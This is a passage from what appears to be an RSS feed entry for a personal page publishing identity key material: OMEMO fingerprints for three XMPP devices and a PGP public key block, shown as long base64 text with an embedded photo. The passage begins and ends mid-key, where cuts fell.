GPONwNa811ciUOR2ZpK+5Aw7iozOo6jg9&#xA;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&#xA;=VB5E&#xA;-----END PGP PUBLIC KEY BLOCK-----&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/details&gt;</description>
      <content:encoded>&lt;p&gt;Here you will find the key material needed to identify me on various services.&lt;/p&gt;&#xA;&lt;h2 id=&#34;omemo&#34;&gt;OMEMO&lt;/h2&gt;&#xA;&lt;p&gt;Here are the keys for my XMPP clients.&lt;/p&gt;&#xA;&lt;p&gt;Desktop: &lt;details&gt;&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;F0AB7263 B6C022EF A8C38705 65076963&#xA;FCF10F75 B53666FB 92619D86 807D9619&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/details&gt;&#xA;&lt;p&gt;Laptop: &lt;details&gt;&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;2140AA59 2159DD24 01508815 90BA116C&#xA;9DD7AF4F 63FBFAA0 92346EF7 2AC36361&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/details&gt;&#xA;&lt;p&gt;Phone: &lt;details&gt;&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;1FC18869 CB8A790E 8264034E 9927DDFF&#xA;9424C8CF F0BAA6BE F8BD4DF4 3FFA3A32&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/details&gt;&#xA;&lt;h2 id=&#34;gpg&#34;&gt;GPG&lt;/h2&gt;&#xA;&lt;p&gt;My GPG key is as follows.&lt;/p&gt;&#xA;&lt;details&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;-----BEGIN PGP PUBLIC KEY BLOCK-----&#xA;&#xA;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&#xA;FxgZGiUmJygpKjQ1Njc4OT